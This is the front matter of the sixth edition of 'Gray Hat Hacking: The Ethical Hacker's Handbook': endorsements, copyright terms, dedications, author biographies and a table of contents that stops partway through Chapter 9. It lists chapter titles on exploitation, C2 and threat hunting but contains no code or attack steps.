Read 1

Praise for Gray Hat Hacking:
The Ethical Hacker’s Handbook, Sixth Edition
“Offensive security covers such a broad array of topics that it can be extremely difficult to
find reference material that provides even surface-level coverage of it. Gray Hat Hacking:
The Ethical Hacker’s Handbook, Sixth Edition manages to cover a surprisingly large subset
of specialist areas within the field, all while diving deep enough to shine a light on some
of the more interesting and challenging nuances of those areas. It’s a worthy addition to
the hacker’s bookshelf.”
—OJ Reeves
Director, Beyond Binary
“This book has been a staple of the development and careers of many, and its sixth edition
delivers on expectations with fresh material and content to help push people to the next
level. It’s a phenomenal contribution to anyone’s skill set and written by true experts;
Stephen Sims and the other authors are people that I respect and routinely read whatever
they put out. Readers will find this to be a practical resource worthy of any bookshelf of
any practitioner in our field.”
—Robert M. Lee
Senior SANS Instructor and CEO/Co-Founder of Dragos, Inc.
“The chapters on Hyper-V in Gray Hat Hacking: The Ethical Hacker’s Handbook,
Sixth Edition are the most complete public resources I have seen to date. Not only do
they provide a general overview of the architecture, they also provide in-depth scripts
that can be used to understand the internals very well. I’m very impressed with all of the
resources attached to these chapters. If you are interested in hypervisors and/or Hyper-V
in any form, give this book a shot.”
—Matt Suiche
Founder, Comae
This page intentionally left blank
Gray Hat
Hacking
The Ethical Hacker’s
Handbook
Gray Hat
Hacking
The Ethical Hacker’s
Handbook
Sixth Edition
Dr. Allen Harper, Ryan Linn, Stephen Sims,

Michael Baucom, Daniel Fernandez,
Huáscar Tejeda, Moses Frost
New York Chicago San Francisco

Athens London Madrid Mexico City
Milan New Delhi Singapore Sydney Toronto
Copyright © 2022 by McGraw Hill. All rights reserved. Except as permitted under the United States Copyright Act of 1976, no
part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval sys-
tem, without the prior written permission of the publisher, with the exception that the program listings may be entered, stored,
and executed in a computer system, but they may not be reproduced for publication.
ISBN: 978-1-26-426895-5
MHID: 1-26-426895-5
The material in this eBook also appears in the print version of this title: ISBN: 978-1-26-426894-8,
MHID: 1-26-426894-7.
eBook conversion by codeMantra

Version 1.0
All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a
trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of
infringement of the trademark. Where such designations appear in this book, they have been printed with initial caps.
McGraw-Hill Education eBooks are available at special quantity discounts to use as premiums and sales promotions or for
use in corporate training programs. To contact a representative, please visit the Contact Us page at www.mhprofessional.com.
Information has been obtained by McGraw Hill from sources believed to be reliable. However, because of the possibility of
human or mechanical error by our sources, McGraw Hill, or others, McGraw Hill does not guarantee the accuracy, adequacy,
or completeness of any information and is not responsible for any errors or omissions or the results obtained from the use of
such information.
TERMS OF USE
This is a copyrighted work and McGraw-Hill Education and its licensors reserve all rights in and to the work. Use of this work
is subject to these terms. Except as permitted under the Copyright Act of 1976 and the right to store and retrieve one copy of the
work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative works based upon, transmit,
distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill Education’s prior consent.
You may use the work for your own noncommercial and personal use; any other use of the work is strictly prohibited. Your
right to use the work may be terminated if you fail to comply with these terms.
THE WORK IS PROVIDED “AS IS.” McGRAW-HILL EDUCATION AND ITS LICENSORS MAKE NO GUARANTEES
OR WARRANTIES AS TO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED
FROM USING THE WORK, INCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK
VIA HYPERLINK OR OTHERWISE, AND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, IN-
CLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PAR-
TICULAR PURPOSE. McGraw-Hill Education and its licensors do not warrant or guarantee that the functions contained in
the work will meet your requirements or that its operation will be uninterrupted or error free. Neither McGraw-Hill Education
nor its licensors shall be liable to you or anyone else for any inaccuracy, error or omission, regardless of cause, in the work
or for any damages resulting therefrom. McGraw-Hill Education has no responsibility for the content of any information ac-
cessed through the work. Under no circumstances shall McGraw-Hill Education and/or its licensors be liable for any indirect,
incidental, special, punitive, consequential or similar damages that result from the use of or inability to use the work, even if
any of them has been advised of the possibility of such damages. This limitation of liability shall apply to any claim or cause
whatsoever whether such claim or cause arises in contract, tort or otherwise.
In Memory of Shon Harris
Each time we write a new edition, all of my memories of Shon come to the surface. As you
know from previous editions, we lost Shon on October 8, 2014. She was a great friend,
pioneer in the field, and beloved subject matter expert of cybersecurity. She brought
me into the first Gray Hat Hacking project. We were actually working toward creating
another book at the time, but it did not pan out, so the Gray Hat Hacking book was born.
I owe much of what I have accomplished in the field to the great start she so generously
gave me, back in 2002 when I first met her at a CISSP bootcamp. I had no clue who Shon
was when I signed up for the bootcamp, but that chance encounter changed my life. Her
passion for the field and her work ethic were contagious and inspired me to be the best
I could be, as I tried to live up to her high standard. I will always remember her and how
much I learned from her. Please join me and the other authors as we continue to honor
her memory and her desire to improve the world through cybersecurity. We dedicate this
book to her memory.
—Allen Harper
Lead author and friend of Shon Harris
To my brothers and sisters in Christ, keep running the race. Let your light shine for Him,
that others may be drawn to Him through you.
—Allen Harper
To my wife, thank you for your constant encouragement and faith, and for pushing me
to push myself.
—Ryan Linn
To my lovely wife Leanne and my daughter Audrey, thank you for your ongoing support!
—Stephen Sims
To my daughter Tiernan, thank you for your support and continuous reminders to enjoy
life and learning each and every day. I look forward to seeing the wonderful woman you
will become.
—Michael Baucom
To my beautiful wife Zoe and our children Alexander and Axel, thank you for your
continuous love and support, and for always trusting in me and encouraging all my crazy
new ideas.
—Huáscar Tejeda
To my beautiful wife Vanesa and my family for their support and their patience every
time I come up with a new project.
—Daniel Fernandez
To my wife Gina and my daughter Juliet, who I am so proud of. Thank you for putting
up with most of my harebrained ideas.
—Moses Frost
ABOUT THE AUTHORS
Dr. Allen Harper, CISSP, retired in 2007 from the military as a Marine Corps Officer
after a tour in Iraq. He has more than 30 years of IT/security experience. He holds a
PhD in IT with a focus on information assurance and security from Capella, an MS in
computer science from the Naval Postgraduate School, and a BS in computer engineer-
ing from North Carolina State University. In 2004, Allen led the development of the
GEN III Honeywall CD-ROM, called roo, for the Honeynet Project. Since then, he
has worked as a security consultant for many Fortune 500 and government entities. His
interests include the Internet of Things, reverse engineering, vulnerability discovery, and
all forms of ethical hacking. Allen was the founder of N2NetSecurity, Inc., served as the
EVP and chief hacker at Tangible Security, program director at Liberty University, and
now serves as EVP of cybersecurity at T-Rex Solutions, LLC, in Greenbelt, Maryland.
Ryan Linn, CISSP, CSSLP, OSCP, OSCE, GREM, has over 20 years in the security
industry, ranging from systems programmer to corporate security to leading a global
cybersecurity consultancy. Ryan has contributed to a number of open source projects,
including Metasploit, the Browser Exploitation Framework (BeEF), and Ettercap. Ryan
participates in Twitter as @sussurro, and he has presented his research at numerous
security conferences, including Black Hat, DEF CON, Thotcon, and Derbycon, and has
provided training in attack techniques and forensics worldwide.
Stephen Sims is an industry expert with over 15 years of experience in information
technology and security. Stephen currently works out of the San Francisco Bay Area as a
consultant. He has spent many years performing security architecture, exploit develop-
ment, reverse engineering, and penetration testing for various Fortune 500 companies, and
he has discovered and responsibly disclosed a wide range of vulnerabilities in commercial
products. Stephen has an MS in information assurance from Norwich University and cur-
rently leads the Offensive Operations curriculum at the SANS Institute. He is the author
of the SANS Institute’s only 700-level course, SEC760: Advanced Exploit Development
for Penetration Testers, which concentrates on complex heap overflows, patch diffing, and
client-side exploits. He holds the GIAC Security Expert (GSE) certification as well as the
CISA, Immunity NOP, and many others. In his spare time, Stephen enjoys snowboarding
and writing music.
Michael Baucom has over 25 years of industry experience, ranging from embedded
systems development to leading the product security and research division at Tangible
Security. With more than 15 years of security experience, he has performed security
assessments of countless systems across a multitude of areas, including medical, indus-
trial, networking, and consumer electronics. Michael has been a trainer at Black Hat,
speaker at several conferences, and both an author and technical editor for Gray Hat
Hacking: The Ethical Hacker’s Handbook. His current interests are in embedded system
security and development.
Huáscar Tejeda is the co-founder and CEO of F2TC Cyber Security. He is a seasoned,
thoroughly experienced cybersecurity professional, with more than 20 years and notable
achievements in IT and telecommunications, developing carrier-grade security solutions
and business-critical components for multiple broadband providers. He is highly skilled
in security research, penetration testing, Linux kernel hacking, software development,
and embedded hardware design. Huáscar is also a member of the SANS Latin America
Advisory Group, SANS Purple Team Summit Advisory Board, and contributing author
of the SANS Institute’s most advanced course, SEC760: Advanced Exploit Development
for Penetration Testers.
Daniel Fernandez is a security researcher with over 15 years of industry experience.
Over his career, he has discovered and exploited vulnerabilities in a vast number of
targets. During the last years, his focus had shifted to hypervisors, where he has found
and reported bugs in products such as Microsoft Hyper-V. He has worked at several
information security companies, including Blue Frost Security GmbH and Immunity,
Inc. Recently, he co-founded TACITO Security. When not breaking software, Daniel
enjoys training his working dogs.
Moses Frost started his career in designing and implementing large-scale networks
around the year 2000. He has worked with computers in some form or another since the
early 1990s. His past employers include TLO, Cisco Systems, and McAfee. At Cisco Sys-
tems, he was a lead architect for its Cyber Defense Clinics. This free information security
dojo was used in educating individuals from the high school and university levels as well
as in many enterprises. At Cisco, he was asked to work on crucial security projects such
as industry certifications. Moses is an author and senior instructor at the SANS Institute.
His technology interests include web app penetration testing, cloud penetration testing,
and red team operations. He currently works as a red team operator at GRIMM.
Disclaimer: The views expressed in this book are those of the authors and not of the
U.S. government or any company mentioned herein.
About the Contributor

Jaime Geiger currently works for GRIMM Cyber as a senior software vulnerability
research engineer and for SANS as a certified instructor. He is also an avid snowboarder,
climber, sailor, and skateboarder.
About the Technical Editor

Heather Linn is a red teamer, penetration tester, threat hunter, and cybersecurity strate-
gist with more than 20 years of experience in the security industry. During her career, she
has consulted as a penetration tester and digital forensics investigator and has operated
as a senior red team engineer inside Fortune 50 environments. In addition to being an
accomplished technical editor, Heather has written and delivered training for multiple
security conferences and organizations, including Black Hat USA and Girls Who Code,
and she has published exam guides for the CompTIA Pentest+ certification. She holds
or has held various certifications, including OSCP, CISSP, GREM, GCFA, GNFA, and
CompTIA Pentest+.
CONTENTS AT A GLANCE
Part I Preparation
Chapter 1 Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Chapter 2 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Chapter 3 Linux Exploit Development Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Chapter 4 Introduction to Ghidra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Chapter 5 IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Part II Ethical Hacking

Chapter 6 Red and Purple Teams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Chapter 7 Command and Control (C2) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Chapter 8 Building a Threat Hunting Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Chapter 9 Introduction to Threat Hunting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
Part III Hacking Systems

Chapter 10 Basic Linux Exploits. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199
Chapter 11 Advanced Linux Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Chapter 12 Linux Kernel Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 233
Chapter 13 Basic Windows Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Chapter 14 Windows Kernel Exploitation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Chapter 15 PowerShell Exploitation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
Chapter 16 Getting Shells Without Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 325
Chapter 17 Post-Exploitation in Modern Windows Environments . . . . . . . . . . . . . . . 343
Chapter 18 Next-Generation Patch Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 369
xi
Gray Hat Hacking: The Ethical Hacker’s Handbook
xii
Part IV Hacking IoT
Chapter 19 Internet o Things to Be Hacked . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
Chapter 20 Dissecting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409
Chapter 21 Exploiting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
Chapter 22 Sotware-Defned Radio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Part V Hacking Hypervisors

Chapter 23 Hypervisors 101 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 469
Chapter 24 Creating a Research Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 487
Chapter 25 Inside Hyper-V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 517
Chapter 26 Hacking Hypervisors Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 541
Part VI Hacking the Cloud

Chapter 27 Hacking in Amazon Web Services. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Chapter 28 Hacking in Azure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
Chapter 29 Hacking Containers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 603
Chapter 30 Hacking on Kubernetes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 623
Index. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
CONTENTS
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvii
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxxi
Part I Preparation
Chapter 1 Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Gray Hat Hacking Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
History of Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Ethics and Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Definition of Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . 5
History of Ethical Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
History of Vulnerability Disclosure . . . . . . . . . . . . . . . . . . . . 6
Bug Bounty Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Know the Enemy: Black Hat Hacking . . . . . . . . . . . . . . . . . . . . . . 11
Advanced Persistent Threats . . . . . . . . . . . . . . . . . . . . . . . . . 11
Lockheed Martin Cyber Kill Chain . . . . . . . . . . . . . . . . . . . . 11
Courses of Action for the Cyber Kill Chain . . . . . . . . . . . . . . 13
MITRE ATT&CK Framework . . . . . . . . . . . . . . . . . . . . . . . 14
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Chapter 2 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
C Programming Language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Basic C Language Constructs . . . . . . . . . . . . . . . . . . . . . . . . 21
Lab 2-1: Format Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Lab 2-2: Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Lab 2-3: if/else . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Sample Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Lab 2-4: hello.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Lab 2-5: meet.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Compiling with gcc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Lab 2-6: Compiling meet.c . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Computer Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Random Access Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Endian . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Segmentation of Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
xiii
xiv
Programs in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Buffers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Strings in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Pointers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Putting the Pieces of Memory Together . . . . . . . . . . . . . . . . . 35
Lab 2-7: memory.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Intel Processors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Assembly Language Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Machine vs. Assembly vs. C . . . . . . . . . . . . . . . . . . . . . . . . . . 37
AT&T vs. NASM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Addressing Modes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Assembly File Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Lab 2-8: Simple Assembly Program . . . . . . . . . . . . . . . . . . . . 41
Debugging with gdb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
gdb Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Lab 2-9: Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Lab 2-10: Disassembly with gdb . . . . . . . . . . . . . . . . . . . . . . 44
Python Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Getting Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Lab 2-11: Launching Python . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-12: “Hello, World!” in Python . . . . . . . . . . . . . . . . . . 46
Python Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-13: Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-14: Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Lab 2-15: Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Lab 2-16: Dictionaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Lab 2-17: Files with Python . . . . . . . . . . . . . . . . . . . . . . . . . 51
Lab 2-18: Sockets with Python . . . . . . . . . . . . . . . . . . . . . . . 53
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
Chapter 3 Linux Exploit Development Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Binary, Dynamic Information-Gathering Tools . . . . . . . . . . . . . . . . 55
Lab 3-1: Hello.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Lab 3-2: ldd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Lab 3-3: objdump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Lab 3-4: strace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Lab 3-5: ltrace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Lab 3-6: checksec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Lab 3-7: libc-database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Lab 3-8: patchelf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
Lab 3-9: one_gadget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
Lab 3-10: Ropper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
Contents
xv
Extending gdb with Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
Pwntools CTF Framework and Exploit Development Library . . . . . 64
Summary of Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Lab 3-11: leak-bof.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
HeapME (Heap Made Easy) Heap Analysis
and Collaboration Tool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Installing HeapME . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Lab 3-12: heapme_demo.c . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Chapter 4 Introduction to Ghidra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Creating Our First Project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Installation and QuickStart . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Setting the Project Workspace . . . . . . . . . . . . . . . . . . . . . . . . 72
Functionality Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Lab 4-1: Improving Readability with Annotations . . . . . . . . 80
Lab 4-2: Binary Diffing and Patch Analysis . . . . . . . . . . . . . . 83
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Chapter 5 IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Introduction to IDA Pro for Reverse Engineering . . . . . . . . . . . . . . 89
What Is Disassembly? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Navigating IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
IDA Pro Features and Functionality . . . . . . . . . . . . . . . . . . . . . . . . 96
Cross-References (Xrefs) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Function Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Proximity Browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Opcodes and Addressing . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Shortcuts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Debugging with IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Part II Ethical Hacking

Chapter 6 Red and Purple Teams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Introduction to Red Teams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Vulnerability Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Validated Vulnerability Scanning . . . . . . . . . . . . . . . . . . . . . . 113
xvi
Penetration Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
Threat Simulation and Emulation . . . . . . . . . . . . . . . . . . . . . 118
Purple Team . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120
Making Money with Red Teaming . . . . . . . . . . . . . . . . . . . . . . . . . 121
Corporate Red Teaming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
Consultant Red Teaming . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
Purple Team Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Purple Team Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Purple Team Activities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
Chapter 7 Command and Control (C2) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Command and Control Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128
Lab 7-1: Creating a Shell with Metasploit . . . . . . . . . . . . . . . 129
PowerShell Empire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Covenant . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Lab 7-2: Using Covenant C2 . . . . . . . . . . . . . . . . . . . . . . . . 132
Payload Obfuscation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
msfvenom and Obfuscation . . . . . . . . . . . . . . . . . . . . . . . . . . 136
Lab 7-3: Obfuscating Payloads with msfvenom . . . . . . . . . . . 136
Creating C# Launchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141
Lab 7-4: Compiling and Testing C# Launchers . . . . . . . . . . . 141
Creating Go Launchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142
Lab 7-5: Compiling and Testing Go Launchers . . . . . . . . . . . 143
Creating Nim Launchers . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144
Lab 7-6: Compiling and Testing Nim Launchers . . . . . . . . . 145
Network Evasion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
Encryption . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
Alternate Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
C2 Templates . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
EDR Evasion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Killing EDR Products . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Bypassing Hooks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Chapter 8 Building a Threat Hunting Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Threat Hunting and Labs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Options of Threat Hunting Labs . . . . . . . . . . . . . . . . . . . . . . 153
Method for the Rest of this Chapter . . . . . . . . . . . . . . . . . . . 154
Basic Threat Hunting Lab: DetectionLab . . . . . . . . . . . . . . . . . . . . 154
Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154
Contents
xvii
Lab 8-1: Install the Lab on Your Host . . . . . . . . . . . . . . . . . . 155
Lab 8-2: Install the Lab in the Cloud . . . . . . . . . . . . . . . . . . 157
Lab 8-3: Looking Around the Lab . . . . . . . . . . . . . . . . . . . . 160
Extending Your Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
HELK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
Lab 8-4: Install HELK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161
Lab 8-5: Install Winlogbeat . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Lab 8-6: Kibana Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164
Lab 8-7: Mordor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170
Chapter 9 Introduction to Threat Hunting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
Threat Hunting Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
Types of Threat Hunting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174
Workflow of a Threat Hunt . . . . . . . . . . . . . . . . . . . . . . . . . . 175
Normalizing Data Sources with OSSEM . . . . . . . . . . . . . . . . . . . . . 175
Data Sources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176
